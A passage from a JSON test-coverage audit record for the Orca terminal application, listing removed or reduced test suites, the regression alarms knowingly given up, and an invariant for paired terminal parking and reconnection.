reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/8652",
         "https://github.com/stablyai/orca/pull/10625"
       ],
       "invariant": "A host advertising terminal.paired-parking.v1 keeps the PTY and bounded authoritative history alive while an ordinary hidden-view park destroys the client xterm and releases its raw per-PTY stream. Reveal must restore up to the requested 5,000 rows, parked-time side effects/output, the same PTY identity, and continued input/output. Parked watcher synchronization compares parking semantics rather than fresh object identity, owns setup and cleanup across StrictMode replay, reconciles real PTY/layout changes, and performs no terminal-state scan when nothing is parked. After a host main-process relaunch, unknown local delivery-sync state must not be treated as proof that a surviving daemon PTY is already foregrounded. An empty headed session-tab inventory is authoritative only after the current renderer graph generation publishes a complete inventory and every execution host answers the PTY census; unpublished, resync-pending, transport-failed, and partially scoped inventories remain unverifiable, while genuinely authoritative empty and non-empty inventories settle and a scope-less legacy empty keeps its pre-authority best-effort settle so outdated hosts retain agent auto-resume. The unpublished-empty regression must keep the resume dispatch parked with exactly one daemon process/writer; restoring unconditional empty hydration must release one dispatch and create two live writers. If subscription precedes provider readiness, authoritative inventory must reconsider that existing subscriber without spawning, resizing, or changing reconnect state. A snapshot without an output high-water must keep it unknown rather than borrowing a layout version that can suppress newer live output. Hosts without the capability must gate hidden raw output before xterm scheduling and repaint from the authoritative snapshot on reveal while retaining the existing limit/TTL force-parking fallback. After the first semantic title state, decorative spinner frequency must add zero paired client-event frames and zero full session-tabs work between status-freshness leases regardless of hidden worktree count. Continuous working or permission evidence may refresh each affected worktree once per 15 minutes through one globally spaced FIFO so current and legacy viewers do not decay before 30 minutes; sibling PTYs share that worktree refresh, while local title animation, raw output, and semantic title, status, bell, completion, and query facts remain intact. A paired terminal stream whose delivery credits stop progressing must replace only that stream; command silence first probes authoritative state and replaces the stream if the probe times out or proves the PTY advanced beyond the client's delivered output sequence. When no comparable delivery high-water exists, the first sequenced probe establishes a baseline and only later advancement proves staleness. A same-sequence snapshot remains valid proof of a responsive silent command. A successful status probe may replace a pre-ready shared-control socket without rejecting or duplicating calls already waiting for that transport. Manual disconnect must retain pairing while preventing queued or passive calls and subscriptions from recreating transport until explicit Connect. A paired pane reconnecting to a relaunched host that has not yet published its window graph (an unpublished frame, bare or client-projected) must stay in recovery rather than retire, and the host's first published snapshot carrying the surface must reattach it; a published frame lacking the surface still retires it. The placeholder is only ever sent before the host's graph first publishes; afterwards a worktree with no tabs gets a real empty answer, pushed once to any client that asked during startup, so a paired client opening a never-opened host worktree still gets its first terminal.",
-      "oracle": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget 